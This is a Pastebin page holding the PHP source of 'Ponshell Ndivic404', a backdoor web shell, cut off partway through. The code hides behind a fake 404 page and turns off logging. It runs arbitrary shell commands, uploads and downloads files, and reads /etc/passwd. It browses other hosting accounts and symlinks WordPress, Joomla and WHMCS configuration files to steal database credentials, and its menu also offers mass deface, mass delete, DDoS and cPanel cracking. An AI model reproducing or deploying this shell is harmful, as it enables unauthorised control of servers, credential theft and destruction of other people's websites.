API tools faq
paste
wahyuief

Ponshell Ndivic404

wahyuief
Mar 3rd, 2017
561
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 63.44 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. @session_start();
  3. @error_reporting(0);
  4. @set_time_limit(0);
  5. @clearstatcache();
  6. @error_log(0);
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12. $ndivic = "74422acb38635311fee1224cc649410c"; //Pass: Ndivic404
  13. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  14. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  15. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  16. header('HTTP/1.1 404 Not Found');
  17. exit;
  18. }}
  19. function authentication() {
  20. ?>
  21. <html><head>
  22. <title>404 Not Found</title>
  23. </head><body>
  24. <h1>Not Found</h1>
  25. <p>The requested URL <?php echo $_SERVER['REQUEST_URI'];?> was not found on this server.</p>
  26. <hr>
  27. <address><?php echo $_SERVER['SERVER_SIGNATURE'];?></address>
  28. <?php
  29. if($_GET['login'] == '3xcr3w'){
  30. echo '<form method="post">
  31. <input type="password" name="ponshell">
  32. </form>';
  33. }
  34. ?>
  35. </body></html>
  36. <?php
  37. exit;
  38. }
  39. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  40. if(empty($ndivic) || (isset($_POST['ponshell']) && (md5($_POST['ponshell']) == $ndivic)))
  41. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  42. else
  43. authentication();
  44. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  45. @ob_clean();
  46. $file = $_GET['file'];
  47. header('Content-Description: File Transfer');
  48. header('Content-Type: application/octet-stream');
  49. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  50. header('Expires: 0');
  51. header('Cache-Control: must-revalidate');
  52. header('Pragma: public');
  53. header('Content-Length: ' . filesize($file));
  54. readfile($file);
  55. exit;
  56. }
  57. ?>
  58. <html>
  59. <head>
  60. <meta charset="utf-8">
  61. <meta content="IE=Edge" http-equiv="X-UA-Compatible">
  62. <meta content="width=device-width,minimum-scale=1,initial-scale=1" name="viewport">
  63. <title>Ponshell Ndivic404</title>
  64. <meta content='noindex' name='robots'/>
  65. <meta content='noindex' name='googlebot'/>
  66. <meta content='noindex' name='spiders'/>
  67. <meta content="Ndivic404" name="author" rel="author">
  68. <link type="text/css" rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  69. <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
  70. <style type="text/css" rel="stylesheet">
  71. main {margin: 5em 0;}
  72. table {font-size: 14px;}
  73. .panel-default {border-color: #080808!important;}
  74. .panel-heading, .panel-footer {color: #ddd!important;background-color: #222!important;border-color: #080808!important;}
  75. </style>
  76. </head>
  77. <body>
  78. <?php
  79. // Ponshell Ndivic404
  80. // Thanks to IndoXploit and Extreme Crew
  81. // Responsive Backdoor
  82. // Made with Love by Ndivic404
  83. if (file_exists("php.ini")){
  84. }else{
  85. $img = fopen('php.ini', 'w');
  86. $sec = "safe_mode = OFF
  87. disable_funtions = NONE";
  88. fwrite($img ,$sec);
  89. fclose($img);}
  90. function exe($cmd) {
  91. if(function_exists('system')) {
  92. @ob_start();
  93. @system($cmd);
  94. $buff = @ob_get_contents();
  95. @ob_end_clean();
  96. return $buff;
  97. } elseif(function_exists('exec')) {
  98. @exec($cmd,$results);
  99. $buff = "";
  100. foreach($results as $result) {
  101. $buff .= $result;
  102. } return $buff;
  103. } elseif(function_exists('passthru')) {
  104. @ob_start();
  105. @passthru($cmd);
  106. $buff = @ob_get_contents();
  107. @ob_end_clean();
  108. return $buff;
  109. } elseif(function_exists('shell_exec')) {
  110. $buff = @shell_exec($cmd);
  111. return $buff;
  112. }}
  113. function w($dir,$perm) {
  114. if(!is_writable($dir)) {
  115. return "<font color='red'>".$perm."</font>";
  116. } else {
  117. return "<font color='green'>".$perm."</font>";
  118. }}
  119. function r($dir,$perm) {
  120. if(!is_readable($dir)) {
  121. return "<font color='red'>".$perm."</font>";
  122. } else {
  123. return "<font color='green'>".$perm."</font>";
  124. }}
  125. function perms($file){
  126. $perms = fileperms($file);
  127. if (($perms & 0xC000) == 0xC000) {
  128. $info = 's';
  129. } elseif (($perms & 0xA000) == 0xA000) {
  130. $info = 'l';
  131. } elseif (($perms & 0x8000) == 0x8000) {
  132. $info = '-';
  133. } elseif (($perms & 0x6000) == 0x6000) {
  134. $info = 'b';
  135. } elseif (($perms & 0x4000) == 0x4000) {
  136. $info = 'd';
  137. } elseif (($perms & 0x2000) == 0x2000) {
  138. $info = 'c';
  139. } elseif (($perms & 0x1000) == 0x1000) {
  140. $info = 'p';
  141. } else {
  142. $info = 'u';
  143. }
  144. $info .= (($perms & 0x0100) ? 'r' : '-');
  145. $info .= (($perms & 0x0080) ? 'w' : '-');
  146. $info .= (($perms & 0x0040) ?
  147. (($perms & 0x0800) ? 's' : 'x' ) :
  148. (($perms & 0x0800) ? 'S' : '-'));
  149. $info .= (($perms & 0x0020) ? 'r' : '-');
  150. $info .= (($perms & 0x0010) ? 'w' : '-');
  151. $info .= (($perms & 0x0008) ?
  152. (($perms & 0x0400) ? 's' : 'x' ) :
  153. (($perms & 0x0400) ? 'S' : '-'));
  154. $info .= (($perms & 0x0004) ? 'r' : '-');
  155. $info .= (($perms & 0x0002) ? 'w' : '-');
  156. $info .= (($perms & 0x0001) ?
  157. (($perms & 0x0200) ? 't' : 'x' ) :
  158. (($perms & 0x0200) ? 'T' : '-'));
  159. return $info;
  160. }
  161. function hdd($s) {
  162. if($s >= 1073741824)
  163. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  164. elseif($s >= 1048576)
  165. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  166. elseif($s >= 1024)
  167. return sprintf('%1.2f',$s / 1024 ) .' KB';
  168. else
  169. return $s .' B';
  170. }
  171. function ambilKata($param, $kata1, $kata2){
  172. if(strpos($param, $kata1) === FALSE) return FALSE;
  173. if(strpos($param, $kata2) === FALSE) return FALSE;
  174. $start = strpos($param, $kata1) + strlen($kata1);
  175. $end = strpos($param, $kata2, $start);
  176. $return = substr($param, $start, $end - $start);
  177. return $return;
  178. }
  179. if(!function_exists('posix_getegid')) {
  180. $user = @get_current_user();
  181. $uid = @getmyuid();
  182. $gid = @getmygid();
  183. $group = "?";
  184. } else {
  185. $uid = @posix_getpwuid(posix_geteuid());
  186. $gid = @posix_getgrgid(posix_getegid());
  187. $user = $uid['name'];
  188. $uid = $uid['uid'];
  189. $group = $gid['name'];
  190. $gid = $gid['gid'];
  191. }
  192. if(isset($_GET['dir'])) {
  193. $dir = $_GET['dir'];
  194. chdir($dir);
  195. } else {
  196. $dir = getcwd();
  197. }
  198. $dir = str_replace("\\","/",$dir);
  199. $scdir = explode("/", $dir);
  200. $freespace = hdd(disk_free_space("/"));
  201. $total = hdd(disk_total_space("/"));
  202. $used = $total - $freespace;
  203. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
  204. $ds = @ini_get("disable_functions");
  205. $show_ds = (!empty($ds)) ? "<font color='red'>$ds</font>" : "<font color='green'>NONE</font>";
  206. $mysql = (function_exists('mysql_connect')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
  207. $curl = (function_exists('curl_version')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
  208. $wget = (exe('wget --help')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
  209. $perl = (exe('perl --help')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
  210. $python = (exe('python --help')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
  211. ?>
  212. <div class="container-fluid">
  213. <header class="navbar navbar-inverse navbar-fixed-top">
  214. <div class="container-fluid">
  215. <div class="navbar-header">
  216. <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#ponshellndivic404" aria-expanded="false">
  217. <span class="sr-only">Navigation</span>
  218. <span class="icon-bar"></span>
  219. <span class="icon-bar"></span>
  220. <span class="icon-bar"></span>
  221. </button>
  222. <b><a href="?" class="navbar-brand">Ponshell Ndivic404</a></b>
  223. </div>
  224. <nav class="collapse navbar-collapse" id="ponshellndivic404">
  225. <ul class="nav navbar-nav navbar-left">
  226. <li>
  227. <a href="#" class='dropdown-toggle' data-toggle='dropdown'>Tools <span class='caret'></span></a>
  228. <ul class='dropdown-menu'>
  229. <li><a href="<?php echo "?dir=$dir&do=zoneh"?>">Zone-H</a></li>
  230. <li><a href="<?php echo "?dir=$dir&do=adminer"?>">Adminer</a></li>
  231. <li><a href="<?php echo "?do=ddos"?>">DDoS</a></li>
  232. </ul>
  233. </li>
  234. <li>
  235. <a href="#" class='dropdown-toggle' data-toggle='dropdown'>Mass <span class='caret'></span></a>
  236. <ul class='dropdown-menu'>
  237. <li><a href="<?php echo "?dir=$dir&do=mass_deface"?>">Mass Deface</a></li>
  238. <li><a href="<?php echo "?dir=$dir&do=mass_delete"?>">Mass Delete</a></li>
  239. <li><a href="<?php echo "?dir=$dir&do=mass_helper"?>">Mass Helper</a></li>
  240. </ul>
  241. </li>
  242. <li><a href="<?php echo "?dir=$dir&do=network"?>">Network</a></li>
  243. <li><a href="<?php echo "?dir=$dir&do=config"?>">Config</a></li>
  244. <li><a href="<?php echo "?dir=$dir&do=jumping"?>">Jumping</a></li>
  245. <li><a href="<?php echo "?dir=$dir&do=symlink"?>">Symlink</a></li>
  246. <li><a href="<?php echo "?dir=$dir&do=bypass"?>">Bypass</a></li>
  247. <li><a href="<?php echo "?dir=$dir&do=cpanel"?>">Cpanel Crack</a></li>
  248. <li><a href="?logout=true"><b><font color="white">Logout</font></b></a></li>
  249. </ul>
  250. </nav>
  251. </div>
  252. </header>
  253. <main class="container-fluid">
  254. <div class="row">
  255. <div class="row">
  256. <div class="col-md-7">
  257. <div class="panel panel-default">
  258. <div class="panel-heading">
  259. <b>Server Information</b>
  260. </div>
  261. <div class="panel-body">
  262. <?php
  263. echo "<b>System:</b> ".php_uname()."<br>";
  264. echo "<b>User:</b> ".$user." (".$uid.") | <b>Group:</b> ".$group." (".$gid.")<br>";
  265. echo "<b>Server IP:</b> ".gethostbyname($_SERVER['HTTP_HOST'])." | <b>Your IP:</b> ".$_SERVER['REMOTE_ADDR']."<br>";
  266. echo "<b>HDD:</b> ".$used." / ".$total." | <b>Free:</b> ".$freespace."<br>";
  267. echo "<b>Safe Mode:</b> ".$sm."<br>";
  268. echo "<b>Disable Function:</b> ".$show_ds."<br>";
  269. echo "<b>MySQL:</b> ".$mysql." | <b>Perl:</b> ".$perl." | <b>Python:</b> ".$python." | <b>WGET:</b> ".$wget." | <b>CURL:</b> ".$curl."<br>";
  270. echo "<b>Current DIR:</b> ";
  271. foreach($scdir as $c_dir => $cdir) {
  272. echo "<a href='?dir=";
  273. for($i = 0; $i <= $c_dir; $i++) {
  274. echo $scdir[$i];
  275. if($i != $c_dir) {
  276. echo "/";
  277. }}
  278. echo "'>$cdir</a>/";
  279. }
  280. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
  281. ?>
  282. </div>
  283. </div>
  284. </div>
  285. <div class="col-md-5">
  286. <div class="panel panel-default">
  287. <div class="panel-heading">
  288. <b>Uploader &amp; Terminal</b>
  289. </div>
  290. <div class="panel-body">
  291. <?php
  292. echo '<form method="POST" enctype="multipart/form-data" class="input-group">
  293. <input type="file" name="ndivic404" class="form-control">
  294. <span class="input-group-btn"><input type="submit" value="Upload" class="btn btn-danger"></span></form>';
  295. $files = @$_FILES["ndivic404"];
  296. if ($files["name"] != '') {
  297. $fullpath = $_REQUEST["path"] . $files["name"];
  298. if (move_uploaded_file($files['tmp_name'], $fullpath)) {
  299. echo "File Uploaded. <a href='$full/$fullpath'>Click here!</a>";}}
  300. echo "<form method='post' action='?dir=$dir&do=cmd' class='input-group'>
  301. <span class='input-group-btn'><button type='button' class='btn btn-default'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).": ~ $ </button></span>
  302. <input type='text' name='cmd' class='form-control'><span class='input-group-btn'><input type='submit' name='do_cmd' value='Enter' class='btn btn-danger'></span>
  303. </form>";
  304. ?>
  305. </div>
  306. </div>
  307. </div>
  308. </div>
  309. <div class="panel panel-default">
  310. <div class="panel-heading">
  311. <b>Ngoprek</b>
  312. </div>
  313. <div class="panel-body">
  314. <?php
  315. if($_GET['logout'] == true) {
  316. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  317. @session_destroy();
  318. echo "<script>window.location='?';</script>";
  319. }elseif($_GET['do'] == 'cmd') {
  320. if($_POST['do_cmd']) {
  321. echo "<textarea readonly style='width:100%;height:50%;'>".@exe($_POST['cmd'])."</textarea>";
  322. }
  323. }elseif($_GET['do'] == 'bypass') {
  324. echo "<label>Bypass etc/passwd With:</label>
  325. <form method='post' class='btn-group'>
  326. <input type='submit' value='System Function' name='syst' class='btn btn-success'>
  327. <input type='submit' value='Passthru Function' name='passth' class='btn btn-primary'>
  328. <input type='submit' value='Exec Function' name='ex' class='btn btn-info'>
  329. <input type='submit' value='Shell_exec Function' name='shex' class='btn btn-warning'>
  330. <input type='submit' value='Posix_getpwuid Function' name='melex' class='btn btn-danger'>
  331. </form>";
  332. if($_POST['syst'])
  333. {
  334. echo"<textarea class='form-control' style='height:50%;'>";
  335. echo system("cat /etc/passwd");
  336. echo"</textarea>";
  337. }
  338. elseif($_POST['passth'])
  339. {
  340. echo"<textarea class='form-control' style='height:50%;'>";
  341. echo passthru("cat /etc/passwd");
  342. echo"</textarea>";
  343. }
  344. elseif($_POST['ex'])
  345. {
  346. echo"<textarea class='form-control' style='height:50%;'>";
  347. echo exec("cat /etc/passwd");
  348. echo"</textarea>";
  349. }
  350. elseif($_POST['shex'])
  351. {
  352. echo"<textarea class='form-control' style='height:50%;'>";
  353. echo shell_exec("cat /etc/passwd");
  354. echo"</textarea>";
  355. }
  356. elseif($_POST['melex'])
  357. {
  358. echo"<textarea class='form-control' style='height:50%;'>";
  359. for($uid=0;$uid<60000;$uid++){
  360. $ara = posix_getpwuid($uid);
  361. if (!empty($ara)) {
  362. while (list ($key, $val) = each($ara)){
  363. print "$val:";
  364. }
  365. print "\n";
  366. }}
  367. echo"</textarea>";
  368. }}elseif($_GET['do'] == 'jumping') {
  369. $i = 0;
  370. if(preg_match("/hsphere/", $dir)) {
  371. $urls = explode("\r\n", $_POST['url']);
  372. if(isset($_POST['jump'])) {
  373. echo "<pre>";
  374. foreach($urls as $url) {
  375. $url = str_replace(array("http://","www."), "", strtolower($url));
  376. $etc = "/etc/passwd";
  377. $f = fopen($etc,"r");
  378. while($gets = fgets($f)) {
  379. $pecah = explode(":", $gets);
  380. $user = $pecah[0];
  381. $dir_user = "/hsphere/local/home/$user";
  382. if(is_dir($dir_user) === true) {
  383. $url_user = $dir_user."/".$url;
  384. if(is_readable($url_user)) {
  385. $i++;
  386. $jrw = "[<font color='green'>R</font>] <a href='?dir=$url_user'><font color='blue'>$url_user</font></a>";
  387. if(is_writable($url_user)) {
  388. $jrw = "[<font color='green'>RW</font>] <a href='?dir=$url_user'><font color='blue'>$url_user</font></a>";
  389. }
  390. echo $jrw."<br>";
  391. }
  392. }
  393. }
  394. }
  395. if($i == 0) {
  396. } else {
  397. echo "<br>Total ada ".$i." Kamar di ".$ip;
  398. }
  399. echo "</pre>";
  400. } else {
  401. echo '<center>
  402. <form method="post" class="form-group">
  403. List Domains: <br>
  404. <textarea name="url" class="form-control" style="height: 50%;">';
  405. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  406. while($getss = fgets($fp)) {
  407. echo $getss;
  408. }
  409. echo  '</textarea><br>
  410. <input type="submit" value="Jumping" class="btn btn-danger btn-block">
  411. </form></center>';
  412. }} elseif(preg_match("/vhosts/", $dir)) {
  413. $urls = explode("\r\n", $_POST['url']);
  414. if(isset($_POST['jump'])) {
  415. echo "<pre>";
  416. foreach($urls as $url) {
  417. $web_vh = "/var/www/vhosts/$url/httpdocs";
  418. if(is_dir($web_vh) === true) {
  419. if(is_readable($web_vh)) {
  420. $i++;
  421. $jrw = "[<font color='green'>R</font>] <a href='?dir=$web_vh'><font color='blue'>$web_vh</font></a>";
  422. if(is_writable($web_vh)) {
  423. $jrw = "[<font color='green'>RW</font>] <a href='?dir=$web_vh'><font color='blue'>$web_vh</font></a>";
  424. }echo $jrw."<br>";
  425. }}}
  426. if($i == 0) {
  427. } else {
  428. echo "<br>Total ada ".$i." Kamar di ".$ip;
  429. }echo "</pre>";
  430. } else {
  431. echo '<center>
  432. <form method="post" class="form-group">
  433. List Domains: <br>
  434. <textarea name="url" class="form-control" style="height:50%;">';
  435. bing("ip:$ip");
  436. echo  '</textarea><br>
  437. <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
  438. </form></center>';
  439. }
  440. } else {
  441. echo "<pre>";
  442. $etc = fopen("/etc/passwd", "r") or die("<font color='red'>Can't read /etc/passwd</font>");
  443. while($passwd = fgets($etc)) {
  444. if($passwd == '' || !$etc) {
  445. echo "<font color='red'>Can't read /etc/passwd</font>";
  446. } else {
  447. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  448. foreach($user_jumping[1] as $user_ec_jump) {
  449. $user_jumping_dir = "/home/$user_ec_jump/public_html";
  450. if(is_readable($user_jumping_dir)) {
  451. $i++;
  452. $jrw = "[<font color='green'>R</font>] <a href='?dir=$user_jumping_dir'><font color='blue'>$user_jumping_dir</font></a>";
  453. if(is_writable($user_jumping_dir)) {
  454. $jrw = "[<font color='green'>RW</font>] <a href='?dir=$user_jumping_dir'><font color='blue'>$user_jumping_dir</font></a>";
  455. }
  456. echo $jrw;
  457. if(function_exists('posix_getpwuid')) {
  458. $domain_jump = file_get_contents("/etc/named.conf");
  459. if($domain_jump == '') {
  460. echo " => ( <font color='red'>Can't get domain name</font> )<br>";
  461. } else {
  462. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  463. foreach($domains_jump[1] as $dj) {
  464. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  465. $user_jumping_url = $user_jumping_url['name'];
  466. if($user_jumping_url == $user_ec_jump) {
  467. echo " => ( <u>$dj</u> )<br>";
  468. break;
  469. }}}} else {
  470. echo "<br>";
  471. }}}}}
  472. if($i == 0) {
  473. } else {
  474. echo "<br>Total ada ".$i." Kamar di ".$ip;
  475. }echo "</pre>";}
  476. }elseif($_GET['do'] == 'config') {
  477. if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  478. echo '<script>alert("Skid this won\'t work on Windows")</script>';
  479. exit;}
  480. else{
  481. if($_POST["m"] && !$_POST["passwd"]==""){
  482. @mkdir("div_config", 0777);
  483. @chdir("div_config");
  484. @symlink("/","root");
  485. $htaccess="Options Indexes FollowSymLinks
  486. DirectoryIndex ndivic.html
  487. AddType text/plain .php
  488. AddHandler text/plain .php
  489. Satisfy Any";
  490. @file_put_contents(".htaccess",$htaccess);
  491. $etc_passwd=$_POST["passwd"];
  492. $etc_passwd=explode("\n",$etc_passwd);
  493. foreach($etc_passwd as $passwd){
  494. $pawd = explode(":",$passwd);
  495. $user = $pawd[0];
  496.  
  497. @symlink('/','div_config/root');
  498. @symlink('/home/'.$user.'/public_html/application/config/database.php',$user.'-CodeIgniter.txt');
  499. @symlink('/home/'.$user.'/public_html/./application/config/database.php',$user.'-CodeIgniter.txt');
  500. @symlink('/home/'.$user.'/public_html/../application/config/database.php',$user.'-CodeIgniter.txt');
  501. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  502. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  503. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  504. @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  505. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  506. @symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  507. @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  508. @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  509. @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  510. @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  511. @symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  512. @symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  513. @symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  514. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  515. @symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  516. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  517. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  518. @symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  519. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  520. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  521. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  522. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  523. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  524. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  525. @symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  526. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  527. @symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  528. @symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  529. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  530. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  531. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  532. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  533. @symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  534. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  535. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  536. @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  537. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  538. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  539. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  540. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  541. @symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  542. @symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  543. @symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  544. @symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  545. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  546. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  547. @symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  548. @symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  549. @symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  550. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  551. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  552. @symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  553. @symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  554. @symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  555. @symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  556. @symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  557. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  558. @symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  559. @symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  560. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  561. @symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  562. @symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  563. @symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  564. @symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  565. @symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  566. @symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  567. @symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  568. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  569. @symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  570. @symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  571. @symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  572. @symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  573. @symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  574. @symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  575. @symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  576. @symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  577. @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  578. @symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  579. @symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  580. @symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  581. @symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  582. @symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  583. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  584. @symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  585. @symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  586. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  587. @symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  588. @symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  589. @symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  590. @symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  591. @symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  592. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  593. @symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  594. @symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  595. @symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  596. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  597. @symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  598. @symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  599. @symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  600. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  601. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  602. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  603. @symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  604. @symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
